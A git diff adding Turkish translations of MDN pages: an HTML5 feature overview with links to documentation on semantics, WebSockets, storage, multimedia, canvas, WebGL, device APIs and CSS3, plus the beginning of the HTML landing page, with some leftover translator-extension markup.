3 Boyutlu Grafik ve Efekler)</strong></em><strong>:</strong> <br> + Daha fazla ve çeşitli boyuttaki sunum seçeneklerine, </li> + <li><em><strong>Performance & Integration (Performans ve Entegre Etme)</strong></em><strong>:</strong> Bilgisayar donanımının daha iyi kullanılmasına ve daha büyük hızlara çıkılabilmesine, </li> + <li><em><strong>Device access (Sürücülere Ulaşma)</strong></em><strong>:</strong> Çeşitli giriş ve çıkış sürücülerinin kullanılmasına, </li> + <li><strong><em>S<strong>tyling (Şekillendirme)</strong></em><strong>:</strong></strong> Web tasarımcılarının, daha görkemli temelara hükmetmesine imkan tanır.<br> + </li> +</ul> + +<div class="cleared row topicpage-table"> +<div class="section"> +<h2 id="semantik_Kurgulama" style="margin: 0 0 .25em; font: 200 24px/1 'Bebas Neue','League Gothic',Haettenschweiler,'Arial Narrow',sans-serif; letter-spacing: 1px; text-transform: uppercase; border: none;"><img alt="" src="/files/3827/HTML5_Semantics_512.png" style="height: 64px; padding-right: 0.5em; vertical-align: middle; width: 64px;">semantik (Kurgulama)</h2> + +<dl> + <dt><a href="/en-US/docs/Sections_and_Outlines_of_an_HTML5_document" title="Sections and Outlines of an HTML5 document">HTML5 Bölüm ve Anahatlar</a></dt> + <dd>HTML5 bölüm ve anahatlarını belirleyen {{ HTMLElement("section") }}, {{ HTMLElement("article") }}, {{ HTMLElement("nav") }}, {{ HTMLElement("header") }}, {{ HTMLElement("footer") }}, {{ HTMLElement("aside") }} ve {{ HTMLElement("hgroup") }} adlı yeni HTML5 elemanlarına bakış.</dd> + <dt><a href="/en-US/docs/Using_HTML5_audio_and_video" title="Using_audio_and_video_in_Firefox">HTML5 Video ve Ses Elemanlarının Kullanılması</a> </dt> + <dd>{{ HTMLElement("audio") }} ve {{ HTMLElement("video") }} elemanlarının yerleştirilmesi ve yeni multimedya içeriğinin şekilllendirilmesi.</dd> + <dt><a href="/en-US/docs/HTML/Forms_in_HTML" title="Forms in HTML5">HTML5 Formlar</a></dt> + <dd>API doğrulamayla kısıtlanmış yeni özellikler, {{ HTMLElement("input") }} kullanım tipi (English: {{ htmlattrxref("type", "input") }}) için yeni değerler ve yeni bir {{ HTMLElement("output") }} elemanı için HTML5' de web formlarındaki iyileştirmelere bir bakış.</dd> + <dt>Yeni Kurgu (Semantic) Elemanları</dt> + <dd>Bölümlerin, medya ve form elemanlarının yanında {{ HTMLElement("mark") }}, {{ HTMLElement("figure") }}, {{ HTMLElement("figcaption") }}, {{ HTMLElement("data") }}, {{ HTMLElement("time") }}, {{ HTMLElement("output") }}, {{ HTMLElement("progress") }} veya {{ HTMLElement("meter") }}, {{HTMLElement("main")}} gibi <a href="/en-US/docs/HTML/HTML5/HTML5_element_list" title="/en-US/docs/HTML/HTML5/HTML5_element_list">geçerli HTML5 elemanları</a> içerisine dahil edilen yeni birçok eleman vardır.</dd> + <dt>{{HTMLElement("iframe")}} İyileştirmesi</dt> + <dd>Şimdi {{htmlattrxref("sandbox", "iframe")}}, {{htmlattrxref("seamless", "iframe")}} ve {{htmlattrxref("srcdoc", "iframe") }} komutlarının kullanılmasıyla artık programcılar güvenlik düzeyi ve bir {{HTMLElement("iframe")}} elementi için umulan iyi renderi oluşturma konusunda emin olabilirler. </dd> + <dt> <a href="/en-US/docs/MathML" title="/en-US/docs/MathML">MathML</a> </dt> + <dd>Direkt matematiksel formülleri embed etmeye (gömmeye) imkan verir.</dd> + <dt><a href="/en-US/docs/HTML/HTML5/Introduction_to_HTML5" title="/en-US/docs/HTML/HTML5/Introduction_to_HTML5">HTML5' e Giriş</a></dt> + <dd>Bu makale, web dizayn ve web uygulamalarınızda kullandığınız HTML5' in tarayıcılarda (browser) nasıl şekillendirileceğini açıklar.</dd> + <dt><a href="/en-US/docs/HTML/HTML5/HTML5_Parser" title="HTML/HTML5/HTML5 parser">HTML5 -Compliant Parser</a> (HTML5 - Uyumlu Ayrıştırıcılar) </dt> + <dd>Bir HTML dökümanının DOM (İngilizce: Document Object Model yani Dökümanın Nesnesel Modeli) baytlarını döndüren ayrıştırıcı, şimdi geçersiz HTML ile karşı karşıya kalındığı taktirde bile genişletilmiş ve tam olarak her durumdaki davranışı tanımlayabilmektedir.</dd> +</dl> + +<h2 id="CONNECTİVİTY_BAğlanılabilirlik" style="margin: 0 0 .25em; font: 200 24px/1 'Bebas Neue','League Gothic',Haettenschweiler,'Arial Narrow',sans-serif; letter-spacing: 1px; text-transform: uppercase; border: none;"><img alt="" src="/files/3839/HTML5_Connectivity_512.png" style="height: 64px; padding-right: 0.5em; vertical-align: middle; width: 64px;">CONNECTİVİTY (BAğlanılabilirlik)</h2> + +<dl> + <dt><a href="/en-US/docs/WebSockets" title="WebSockets">Web Soketleri</a></dt> + <dd>Sayfa ve sunucu arasında kalıcı bağlantı kurulmasına ve bilinen HTML tarzına uymayan veri alışverişini de sağlar.</dd> + <dt><a href="/en-US/docs/Server-sent_events/Using_server-sent_events" title="/en-US/docs/Server-sent_events/Using_server-sent_events">Sunucu - Gönderim Olayları</a></dt> + <dd>Sunucunun yanlızca istemcinin beklentilerine yanıt olarak gönderebileceği klasikleşmiş verilerden ziyade, sunucuya istemci için olayları daha da öteleme imkanı tanır.</dd> + <dt><a href="/en-US/docs/WebRTC" title="/en-US/WebRTC">WebRTC</a> (Real-Time Communication) </dt> + <dd>Bu teknoloji, bir eklenti ve bir harici uygulamaya gerek duymaksızın, diğer kişilerle iletişime ve direkt tarayıcı içinde video konferans kontrolüne imkan tanıyan, gerçek zamanlı iletişim diğer adıyla<br> + RTC (Real-Time Communication) olarak hizmet verir.</dd> +</dl> + +<h2 id="OFFLİNE_STORAGE_çevrimdışılık_ve_depolama" style="margin: 0 0 .25em; font: 200 24px/1 'Bebas Neue','League Gothic',Haettenschweiler,'Arial Narrow',sans-serif; letter-spacing: 1px; text-transform: uppercase; border: none;"><img alt="" src="/files/3833/HTML5_Offline_Storage_512.png" style="height: 64px; padding-right: 0.5em; vertical-align: middle; width: 64px;">OFFLİNE & STORAGE (çevrimdışılık ve depolama)</h2> + +<dl> + <dt><a href="/en-US/docs/HTML/Using_the_application_cache" title="Offline_resources_in_Firefox">Çevrim Dışı Kaynaklar: Uygulama Önbelleği</a></dt> + <dd>Firefox tümüyle çevrimdışı HTML5 kaynak özelliğini desteklediği gibi çevrimdışı diğer birçok kaynak desteği bulunmaktadır.</dd> + <dt><a href="/en-US/docs/Online_and_offline_events" title="Online_and_offline_events">Çevrimiçi ve Çevrimdışı Olaylar</a></dt> + <dd>Firefox 3, bağlantının bittiğinin yahut devam ettiğinin tespiti kadar etkili bir şekilde uygulama ve eklentilere, aktif internet bağlantısının olup olmadığını tespit edebilecekleri çevrimiçi ve çevrimdışı WHATWG yani Web Hypertext Aplication Tecnology Working Group<br> + ( Web Köprü Uygulamaları Teknoloji Gurubu) olaylarını (events) destekler.</dd> + <dt><a href="/en-US/docs/DOM/Storage" title="DOM/Storage">WHATWG İstemci Oturumu ve Kalıcı Depolama (aka DOM Depolama)</a></dt> + <dd>İstemci atarafı oturumunda ve kalıcı depolamada, web uygulamalarına istemci tarafında veri depolayabilmelerine izin verir.</dd> + <dt><a href="/en-US/docs/IndexedDB" title="/en-US/docs/IndexedDB">IndexedDB</a> (İndexlenmiş Veri Tabanı)</dt> + <dd>Tarayıcıda önemli miktarda yapılandırılmış verinin depolanması ve bu veri indeksini kullanarak yüksek performanslı erişimin sağlanabileceği bir weeb standardıdır.</dd> + <dt><a href="/en-US/docs/Using_files_from_web_applications" title="Using_files_from_web_applications">Web Uygulamalarında Dosyaların Kullanılması</a></dt> + <dd>Dosya API desteğinin yeni HTML5 için gecko'ya eklenmesi web uygulamalrı için kullanıcının seçtiği yerel dosyalara ulaşmasının mümkün kılmıştır. Bu içerik HTML elemanlarının çoklu ve yeni özelliklerle {{ HTMLElement("input") }} şeklinin (<a href="https://developer.mozilla.org/en-US/docs/HTML/Element/Input#attr-type" title="HTML/Element/input#attr-type"><strong>type</strong></a>) kullanılarak çoklu dosya seçilmesini destekler. O da FileReader<br> + (Dosya okuyucu) olarak bilinir. </dd> +</dl> + +<p> </p> + +<h2 id="MULTIMEDIA_çoklu_ortam" style="margin: 0 0 .25em; font: 200 24px/1 'Bebas Neue','League Gothic',Haettenschweiler,'Arial Narrow',sans-serif; letter-spacing: 1px; text-transform: uppercase; border: none;"><img alt="" src="/files/3835/HTML5_Multimedia_512.png" style="height: 64px; padding-right: 0.5em; vertical-align: middle; width: 64px;">MULTIMEDIA (çoklu ortam)</h2> + +<dl> + <dt><a href="/en-US/docs/Using_HTML5_audio_and_video" title="Using_audio_and_video_in_Firefox">HTML5 Ses ve Videonun Kullanılması</a></dt> + <dd>HTML5 için {{ HTMLElement("audio") }} ve {{ HTMLElement("video") }} elemanları gömülebilir ve yeni multimedya içeriğinin üzerinde manipülasyon yapılabilmesine izin verir.</dd> +</dl> + +<dl> + <dt><a href="/en-US/docs/WebRTC" title="/en-US/WebRTC">WebRTC</a></dt> + <dd>RTC (Real Time Communication) "Gerçek zamanlı iletişim" olarak sunulan bu teknoloji, eklenti ve harici uygulamaya gerek duymaksızın diğer kişilerle direkt olarak iletişime ve tarayıcı içinde video konferansın kontrol edilmesine imkan verir.</dd> + <dt><a href="/en-US/docs/DOM/Using_the_Camera_API" style="font-weight: bold;" title="/en-US/docs/DOM/Using_the_Camera_API">Kamera API Kullanımı</a><strong style="font-weight: bold;"> </strong></dt> + <dd><a href="http://sosyalmedya.co/api-nedir/">API Nedir</a>: İngilizce <strong>Aplication Programming Interface </strong> kelimelerinin kısaltılmış hali olup anlam olarak, "Uygulamaları programlamak için kullanılan arayüz." manasına karşılık gelir.<br> + <br> + Bu API sayesinde bilgisayar kamerasından bir görüntü alınabilir ve üzerinde değişiklik yapılabilir.</dd> + <dt>Traklar ve WebVTT</dt> + <dd>WebVTT demek Web Video Text Tracks yani Webdeki videoların yazı formudur. {{HTMLElement("track")}} elemanı videolarda altyazı ve bölümlere izin verir. <a href="https://developer.mozilla.org/en-US/docs/HTML/WebVTT" title="HTML/WebVTT">WebVTT</a> bir yazı formatıdır.</dd> +</dl> + +<h2 id="sect1" style="margin: 0 0 .25em; font: 200 24px/1 'Bebas Neue','League Gothic',Haettenschweiler,'Arial Narrow',sans-serif; letter-spacing: 1px; text-transform: uppercase; border: none;"> </h2> + +<h2 id="3d_ÜÇ_BOYUTLU_grafikler_ve_efektler" style="margin: 0 0 .25em; font: 200 24px/1 'Bebas Neue','League Gothic',Haettenschweiler,'Arial Narrow',sans-serif; letter-spacing: 1px; text-transform: uppercase; border: none;"><img alt="" src="/files/3841/HTML5_3D_Effects_512.png" style="height: 64px; padding-right: 0.5em; vertical-align: middle; width: 64px;">3d (ÜÇ BOYUTLU) grafikler ve efektler</h2> + +<dl> + <dt><a href="/en-US/docs/Canvas_tutorial" title="Canvas tutorial">Canvas Elemanının Kullanımına Örnekler</a></dt> + <dd>Firefox' da yeni {{ HTMLElement("canvas") }} elemanı, nesneleri ve diğer grafikleri nasıl çizer öğrenin.</dd> + <dt><a href="/en-US/docs/Drawing_text_using_a_canvas" title="Drawing_text_using_a_canvas"><code><canvas></code> elemanı için HTML5 Yazı API' leri</a> </dt> + <dd>Artık HTML5 yazı API' lerini {{ HTMLElement("canvas") }} elemanı tarafından desteklenmektedir.</dd> + <dt><a href="/en-US/docs/WebGL" title="WebGL">WebGL</a> (Web Graphic Library)</dt> + <dd>WebGL, Web Grafik Kütüphanesi anlamındadır. WebGL, web platformuna, HTML5 {{ HTMLElement("canvas") }} elemanları içinde kullanılabilecek OpenGL ES 2.0 ile yakından uyumlu bir API sunarak, Üç boyutlu grafik kullanım imkanı sunmuştur.</dd> + <dt><a href="/en-US/docs/SVG" title="/en-US/docs/SVG">SVG</a> (Scalable Vector Graphics)</dt> + <dd>Doğrudan HTML içine gömülebilecek vektörel görüntülerin XML tabanlı şeklidir.</dd> +</dl> +</div> + +<div class="section"> +<h2 id="performans_ve_entegrasyon" style="margin: 0 0 .25em; font: 200 24px/1 'Bebas Neue','League Gothic',Haettenschweiler,'Arial Narrow',sans-serif; letter-spacing: 1px; text-transform: uppercase; border: none;"><img alt="" src="/files/3831/HTML5_Performance_512.png" style="height: 64px; padding-right: 0.5em; vertical-align: middle; width: 64px;">performans ve entegrasyon</h2> + +<dl> + <dt><a href="/en-US/docs/DOM/Using_web_workers" title="Using web workers">Webte Çalışanlar</a></dt> + <dd>İnteraktif olayları yavaşlatan arkaplan örgüsünün önüne geçmek için javascript kodlama kümesine izin verir.</dd> + <dd><code>2.Seviye <a href="/en-US/docs/DOM/XMLHttpRequest" title="XMLHttpRequest">XMLHttpRequest</a></code><br> + Sayfanın bazı bölümlerinden, zaman bağlı kalmadan bilgi çekmek mümkündür. Bu da değişken olan zaman ve kullanıcı eylemlerine göre dinamik içeriği görüntülemeye imkan verir. Bu <a href="/en-US/docs/AJAX" title="/en-US/docs/AJAX">Ajax</a><br> + arkasındaki teknolojidir.</dd> + <dt>JavaScript Motorunun Anında Derlenmesi ( JIT-Compiling ) </dt> + <dd>Yeni nesil javascript motorları JIT (Just in Time) ile büyük performansa imkan verecek derecede çok güçlüdür.</dd> + <dt><a href="https://developer.mozilla.org/en-US/docs/DOM/Manipulating_the_browser_history" title="https://developer.mozilla.org/en-US/docs/DOM/Manipulating_the_browser_history"> Tarayıcı Geçmiş Bilgisi API' si</a></dt> + <dd>Tarayıcının belleğinde kalmış bilgiler üzerinde manipülasyon yapmaya imkan verir. Bu özellikle web sayfaları için etkileşimli bilgileri yüklemek için yararlıdır.</dd> + <dt><a href="/en-US/docs/HTML/Content_Editable" title="HTML/Content Editable">contentEditable </a>elemanı:Web Sitenizi Bir Wiki Kaynağına Dönüştürme</dt> + <dd>HTML5, contentEditable özelliğini standart hale getirmiştir. Bu yenilik hakkında daha fazla bilgi edinin.</dd> + <dt><a href="/en-US/docs/DragDrop/Drag_and_Drop" title="DragDrop/Drag_and_Drop">Drag ve Drop</a> (Sürükle-Bırak) Özelliği </dt> + <dd>HTML5, sürükle-bırak özelliği web siteleri içi ve web sayfaları arasında öğeleri sürükleme özelliğini destekler. Bu aynı zamanda daha basit API' lerin uzantılar ve mozilla tabanlı uygulamalar için kullanılabilmesini sağlar.</dd> + <dt><a href="/en-US/docs/Focus_management_in_HTML" title="Focus_management_in_HTML">HTML Focus Yönetimi </a>(Odaklama)</dt> + <dd>Yeni HTML5, <strong><code>activeElement</code></strong> ve <strong><code>hasFocus()</code></strong> özelliklerini desteklemektedir.</dd> + <dt><a href="/en-US/docs/Web-based_protocol_handlers" title="Web-based_protocol_handlers">Web Tabanlı Protokol İşleyicileri</a></dt> + <dd>Şimdi web uygulamalarını,<br> + <code><strong>navigator.registerProtocolHandler()</strong></code><br> + metodunu kullanarak protokol işleyicisi olarak kaydedebilirsiniz.</dd> + <dt><a href="/en-US/docs/DOM/window.requestAnimationFrame" title="/en-US/docs/DOM/window.requestAnimationFrame"><code>requestAnimationFrame</code></a></dt> + <dd>En iyi performansı almak için animasyonların render kontrolüne imkan tanır.</dd> + <dt><a href="/en-US/docs/DOM/Using_full-screen_mode" title="/en-US/docs/DOM/Using_full-screen_mode">Tam Ekran API'si</a></dt> + <dd>Tarayıcı UI (User Interface) yani kullanıcı arabirimi olmaksızın bir web sayfası yahut uygulama için ekranın bütününü denetler.</dd> + <dt><a href="/en-US/docs/API/Pointer_Lock_API" title="/en-US/docs/API/Pointer_Lock_API">İşaretçi Kilitlenme (Lock) API' si</a></dt> + <dd>İşaretçinin pencere sınırını aşabileceği durumlarda, çoğu oyun ve benzeri uygulamaların bütünlüğünü kaybetmemesi için işaretçinin web sayfasının içeriğine kilitlenmesine (Ya kısıtlanmasına yahut hareketinin sınırlandırılmasına) imkan verir.</dd> + <dt><a href="/en-US/docs/Online_and_offline_events" title="/en-US/docs/Online_and_offline_events">Çevrimiçi ve Çevrimdışı Olaylar</a></dt> + <dd>Çevrimdışı özelliği barındıran iyi bir web uygulaması oluşturabilmeniz için uygulamanın ne zaman çevrimdışı olduğunu bunun yanında uygulamanızın ne zaman tekrar çevrim içi duruma döndüğünü bilmeniz gerekir.</dd> +</dl> + +<h2 id="cihaz_erişimi" style="margin: 0 0 .25em; font: 200 24px/1 'Bebas Neue','League Gothic',Haettenschweiler,'Arial Narrow',sans-serif; letter-spacing: 1px; text-transform: uppercase; border: none;"><img alt="" src="/files/3837/HTML5_Device_Access_512.png" style="height: 64px; padding-right: 0.5em; vertical-align: middle; width: 64px;">cihaz erişimi</h2> + +<dl> + <dt><a href="/en-US/docs/DOM/Using_the_Camera_API" title="/en-US/docs/DOM/Using_the_Camera_API"> Kamera API'sinin Kullanımı</a></dt> + <dd>Bilgisayarınızın kamerasından bir resim yada bir video yakalayıp üzerinde değişiklik yapmaya ve bunları depolayabilemeye imkan tanır.</dd> + <dt><a href="/en-US/docs/DOM/Touch_events" title="/en-US/docs/DOM/Touch_events">Dokunmatik Olaylar</a></dt> + <dd>Dokunmatik ekrana basarak kullanıcılar, bir başkası tarafından oluşturulan olaylara yanıt verebilirler.</dd> + <dt><a href="/en-US/docs/Using_geolocation" title="Using geolocation">Konum Bilgisinin (GeoLocation) Kullanılması</a></dt> + <dd>Tarayıcılara kullanıcının konum bilgisini kullanarak yerinin belirlenmesi imkanını verir.</dd> + <dt><a href="/en-US/docs/Detecting_device_orientation" title="/en-US/docs/Detecting_device_orientation">Cihaz Yönünü Saptama</a></dt> + <dd>Cihazın çalıştığı tarayıcıyla ilgili yön değişiklikleri hakkında bilgi alınabilir. Bu bir giriş cihazı olarak (örneğin cihazın yer değiştirmesine bağlı oyunlar yapmak) veya ekranın yönünün sayfanın düzenine bağlı olarak (yatay ve dikey) olarak adapte edilebilmesi için kullanışlıdır.</dd> + <dt><a href="/en-US/docs/API/Pointer_Lock_API" title="/en-US/docs/API/Pointer_Lock_API">İşaretçi (Kilitleme-Sabitleme) API'si</a></dt> + <dd>İşaretçi ekranın dışına ulaştığında birçok oyun ve benzeri uygulamaların merkezinin kaybolmaması amacıyla işaretçinin içerik için sabitlenmesine olanak verir.</dd> +</dl> + +<h2 id="Stİller" style="margin: 0 0 .25em; font: 200 24px/1 'Bebas Neue','League Gothic',Haettenschweiler,'Arial Narrow',sans-serif; letter-spacing: 1px; text-transform: uppercase; border: none;"><img alt="" src="/files/3829/HTML5_Styling_512.png" style="height: 64px; padding-right: 0.5em; vertical-align: middle; width: 64px;">Stİller</h2> + +<p><a href="/en-US/docs/CSS" title="/en-US/docs/CSS">CSS</a> çok kopleks yollarla elemanları şekillendirmek için genişletilmiştir. <a href="/en-US/docs/CSS/CSS3" title="/en-US/docs/CSS/CSS3">CSS3</a> olarak önerilmiştir ki CSS3 artık farklı modülleri içinde barındıran kalıplaşmış bir 3. CSS versiyonu olarak bilinmez; <br> + 1. versiyon ve 4. versiyona kadar bütün şekillendirme komutlarını bünyesinde toplamıştır.</p> + +<dl> + <dt>Yeni Arkaplan Stil Özellikleri</dt> + <dd>{{ cssxref("box-shadow") }} komutuyla bir kutuya gölge efekti vermek ve <a href="/en-US/docs/CSS/Multiple_backgrounds" title="/en-US/docs/CSS/Multiple_backgrounds">çoklu arkaplan</a> ayarlamaya izin vermiştir.</dd> + <dt>Daha Süslü Çerçeveler</dt> + <dd>Sadece {{ cssxref("border-image") }} ve bunlara ait kişisel tercihler çerçeve şekillendirilmesinde kullanılmamaktadır.<br> + {{ cssxref("border-radius") }} özelliği sayesinde çerçeveleri ovalleştirmek de mümkündür.</dd> + <dt>Stillerinizin Animasyonlaştırılması</dt> + <dd>Farklı konumlar arasında hiçbir tetikleyici olmadan yahut sayfanın bir bölümünde <a href="/en-US/docs/CSS/Using_CSS_animations" title="/en-US/docs/CSS/Using_CSS_animations">CSS animasyonları</a> kullanarak animasyon yapmada <a href="/en-US/docs/CSS/Using_CSS_transitions" title="/en-US/docs/CSS/Using_CSS_transitions">CSS Transitions</a> (CSS Geçiş Efekleri) kullanılmaktadır. Şimdi Mobil elemanlarını da sayfanızda kontrol edebilirsiniz </dd> + <dt>Tipoğrafi İyileştirmeleri</dt> + <dd>Web tasarımcıları mükemmel tipoğrafiye (Ekrana Basma) ulaşmak için güçlü kontrole sahip olurlar. Bu kontroller için {{ cssxref("text-overflow") }} ve <a href="/en-US/docs/CSS/hyphens" title="/en-US/docs/CSS/hyphens">hyphenation</a>, <a href="/en-US/docs/CSS/text-shadow" title="/en-US/docs/CSS/text-shadow">shadow</a> (gölge) ekleyerek veya daha detaylı şekillendirmelerde <a href="/en-US/docs/CSS/text-decoration" title="/en-US/docs/SVG/Attribute/text-decoration">decorations</a> (şekillendirme) komutlarını kullanabilirler. Bu iyileştirme varsayılan yazı tiplerini içerir bu na da {{ cssxref("@font-face") }} kurallar topluluğuyla imkan tanır. </dd> + <dt>Yeni Sunum Düzenleri</dt> + <dd>Tasarım etkinliğini arttırmak için, <a href="/en-US/docs/CSS/Using_CSS_multi-column_layouts" title="/en-US/docs/CSS/Using_CSS_multi-column_layouts">CSS multi-column layout</a> <br> + (CSS Çoklu Satır Düzenleri) ve <a href="/en-US/docs/CSS/Flexbox" title="/en-US/docs/CSS/Flexbox">CSS flexible box layout</a> (CSS Esnek Kutu Düzenleri) adında iki yeni düzenleme <a href="https://indonesianlanguagetranslator.com/our-services/">eklendi</a>.</dd> +</dl> +</div> +</div> + +<p> </p> + +<div> +<div class="ImTranslatorLogo" id="SL_button" style="display: none;"> </div> + +<div id="SL_shadow_translation_result2" style="display: none;"> </div> + +<div id="SL_shadow_translator"> +<div id="SL_planshet" style="background: rgb(244, 245, 245);"> +<div id="SL_TB"> +<div class="ImTranslatorLogo" id="bubblelogo"> </div> + +<table id="SL_tables"> + <tbody> + <tr> + <td class="SL_td"><input></td> + <td class="SL_td"><select><option value="auto">Detect language</option><option value="af">Afrikaans</option><option value="sq">Albanian</option><option value="ar">Arabic</option><option value="hy">Armenian</option><option value="az">Azerbaijani</option><option value="eu">Basque</option><option value="bn">Bengali</option><option value="be">Belarusian</option><option value="bg">Bulgarian</option><option value="ca">Catalan</option><option value="zh-CN">Chinese (Simp)</option><option value="zh-TW">Chinese (Trad)</option><option value="hr">Croatian</option><option value="cs">Czech</option><option value="da">Danish</option><option value="nl">Dutch</option><option value="en">English</option><option value="eo">Esperanto</option><option value="et">Estonian</option><option value="tl">Filipino</option><option value="fi">Finnish</option><option value="fr">French</option><option value="gl">Galician</option><option value="ka">Georgian</option><option value="de">German</option><option value="el">Greek</option><option value="gu">Gujarati</option><option value="ht">Haitian Creole</option><option value="iw">Hebrew</option><option value="hi">Hindi</option><option value="hu">Hungarian</option><option value="is">Icelandic</option><option value="id">Indonesian</option><option value="ga">Irish</option><option value="it">Italian</option><option value="ja">Japanese</option><option value="kn">Kannada</option><option value="ko">Korean</option><option value="lo">Lao</option><option value="la">Latin</option><option value="lv">Latvian</option><option value="lt">Lithuanian</option><option value="mk">Macedonian</option><option value="ms">Malay</option><option value="mt">Maltese</option><option value="no">Norwegian</option><option value="fa">Persian</option><option value="pl">Polish</option><option value="pt">Portuguese</option><option value="ro">Romanian</option><option value="ru">Russian</option><option value="sr">Serbian</option><option value="sk">Slovak</option><option value="sl">Slovenian</option><option value="es">Spanish</option><option value="sw">Swahili</option><option value="sv">Swedish</option><option value="ta">Tamil</option><option value="te">Telugu</option><option value="th">Thai</option><option value="tr">Turkish</option><option value="uk">Ukrainian</option><option value="ur">Urdu</option><option value="vi">Vietnamese</option><option value="cy">Welsh</option><option value="yi">Yiddish</option></select></td> + <td class="SL_td"> + <div id="SL_switch_b" title="Switch languages"> </div> + </td> + <td class="SL_td"><select><option value="af">Afrikaans</option><option value="sq">Albanian</option><option value="ar">Arabic</option><option value="hy">Armenian</option><option value="az">Azerbaijani</option><option value="eu">Basque</option><option value="bn">Bengali</option><option value="be">Belarusian</option><option value="bg">Bulgarian</option><option value="ca">Catalan</option><option value="zh-CN">Chinese (Simp)</option><option value="zh-TW">Chinese (Trad)</option><option value="hr">Croatian</option><option value="cs">Czech</option><option value="da">Danish</option><option value="nl">Dutch</option><option value="en">English</option><option value="eo">Esperanto</option><option value="et">Estonian</option><option value="tl">Filipino</option><option value="fi">Finnish</option><option value="fr">French</option><option value="gl">Galician</option><option value="ka">Georgian</option><option value="de">German</option><option value="el">Greek</option><option value="gu">Gujarati</option><option value="ht">Haitian Creole</option><option value="iw">Hebrew</option><option value="hi">Hindi</option><option value="hu">Hungarian</option><option value="is">Icelandic</option><option value="id">Indonesian</option><option value="ga">Irish</option><option value="it">Italian</option><option value="ja">Japanese</option><option value="kn">Kannada</option><option value="ko">Korean</option><option value="lo">Lao</option><option value="la">Latin</option><option value="lv">Latvian</option><option value="lt">Lithuanian</option><option value="mk">Macedonian</option><option value="ms">Malay</option><option value="mt">Maltese</option><option value="no">Norwegian</option><option value="fa">Persian</option><option value="pl">Polish</option><option value="pt">Portuguese</option><option value="ro">Romanian</option><option value="ru">Russian</option><option value="sr">Serbian</option><option value="sk">Slovak</option><option value="sl">Slovenian</option><option selected value="es">Spanish</option><option value="sw">Swahili</option><option value="sv">Swedish</option><option value="ta">Tamil</option><option value="te">Telugu</option><option value="th">Thai</option><option value="tr">Turkish</option><option value="uk">Ukrainian</option><option value="ur">Urdu</option><option value="vi">Vietnamese</option><option value="cy">Welsh</option><option value="yi">Yiddish</option></select></td> + <td class="SL_td"> </td> + <td class="SL_td"> + <div id="SL_TTS_voice" title="Listen to the translation"> </div> + </td> + <td class="SL_td"> + <div class="SL_copy" id="SL_copy" title="Copy translation"> </div> + </td> + <td class="SL_td"> + <div id="SL_bbl_font_patch"> </div> + + <div class="SL_bbl_font" id="SL_bbl_font" title="Font size"> </div> + </td> + <td class="SL_td"> + <div id="SL_TH" title="Translation history"> </div> + </td> + <td class="SL_td"> </td> + <td class="SL_td"> + <div id="SL_pin" title="Pin pup-up bubble"> </div> + </td> + </tr> + </tbody> +</table> +</div> +</div> + +<div id="SL_shadow_translation_result" style="background: rgb(255, 255, 255);"> </div> + +<div id="SL_player2"> </div> + +<div id="SL_alert100">Text-to-speech function is limited to 100 characters</div> + +<div id="SL_bbl_donate" title="Make a small contribution"> </div> + +<div id="SL_Balloon_options" style="background: rgb(255, 255, 255);"><a class="SL_options" title="Show options">Options</a> : <a class="SL_options" title="Translation history">History</a> : <a class="SL_options" href="http://about.imtranslator.net/add-ons/chrome-extension/" title="ImTranslator Help">Help</a> : <a class="SL_options" title="Feedback">Feedback</a></div> +</div> +</div> diff --git a/files/tr/web/html/index.html b/files/tr/web/html/index.html new file mode 100644 index 0000000000..3bd35d29e2 --- /dev/null +++ b/files/tr/web/html/index.html @@ -0,0 +1,109 @@ +--- +title: HTML (HyperText Markup Language) +slug: Web/HTML +tags: + - HTML + - HTML5 + - Landing + - Web +translation_of: Web/HTML +--- +<div>{{HTMLSidebar}}</div> + +<p class="summary"><span class="seoSummary"><strong>HTML</strong><span class="tlid-translation translation" lang="tr"><span title=""> (HyperText Markup Language), Web’in en temel yapı taşıdır.</span> <span title="">Web içeriğinin anlamını ve yapısını tanımlar.</span> <span title="">HTML dışındaki diğer teknolojiler genellikle bir web sayfasının görünümünü / sunumunu (<a href="/tr/docs/Web/CSS">CSS</a>) veya işlevselliğini / davranışını (<a href="/tr/docs/Web/JavaScript">JavaScript</a>) tanımlamak için kullanılır.</span></span></span></p> + +<p>"HyperText" (köprü metni, üst metin, hiper metin olarak da bilinir), web sayfalarını tek bir web sitesi içinde veya web siteleri arasında birbirine bağlayan bağlantıları ifade eder. Bağlantılar, Web'in temel bir özelliğidir. İnternete içerik yükleyerek ve başkaları tarafından oluşturulan sayfalara bağlayarak, World Wide Web’de aktif bir katılımcı olursunuz.</p> + +<p>HTML, bir Web tarayıcısında görüntülenmek üzere metin, resim ve diğer içerikleri tanımlamak için "işaretlemeyi" (markup) kullanır.</p> + +<p>HTML işaretlemesi {{HTMLElement("head")}}, {{HTMLElement("title")}}, {{HTMLElement("body")}}, {{HTMLElement("header")}}, {{HTMLElement("footer")}}, {{HTMLElement("article")}}, {{HTMLElement("section")}}, {{HTMLElement("p")}}, {{HTMLElement("div")}}, {{HTMLElement("span")}}, {{HTMLElement("img")}}, {{HTMLElement("aside")}}, {{HTMLElement("audio")}}, {{HTMLElement("canvas")}}, {{HTMLElement("datalist")}}, {{HTMLElement("details")}}, {{HTMLElement("embed")}}, {{HTMLElement("nav")}}, {{HTMLElement("output")}}, {{HTMLElement("progress")}}, {{HTMLElement("video")}}, {{HTMLElement("ul")}}, {{HTMLElement("ol")}}, {{HTMLElement("li")}} gibi birçok özel "element" içerir.</p> + +<p>Bir HTML elementi, bir belgedeki diğer metinden "<" ve ">" ile çevrelenmiş element adından oluşan "etiketler" ile ayrılır. Bir etiket içindeki bir elementin adı büyük / küçük harf duyarsızdır. Yani, büyük harf, küçük harf veya karışım şeklinde yazılabilir. Örneğin, <code><title></code> etiketi <code><Title></code>, <code><TITLE></code> veya başka bir şekilde yazılabilir.</p> + +<p>Aşağıdaki makaleler HTML hakkında daha fazla bilgi edinmenizi sağlayabilir.</p> + +<section class="cleared" id="sect1"> +<ul class="card-grid"> + <li><span>HTML'e Giriş</span> + + <p>Web geliştirmede yeniyseniz, HTML'nin ne olduğunu ve nasıl kullanılacağını öğrenmek için <a href="/en-US/docs/Learn/Getting_started_with_the_web/HTML_basics">HTML Temelleri</a> makalemizi mutlaka okuyun.</p> + </li> + <li><span>HTML Dersleri</span> + <p>HTML'nin yanı sıra dersler ve örneklerin kullanımı hakkında makaleler için, <a href="/en-US/docs/Learn/HTML">HTML Öğrenme Alanı</a>'nı inceleyin..</p> + </li> + <li><span>HTML Öğelerinin Açıklamaları</span> + <p><a 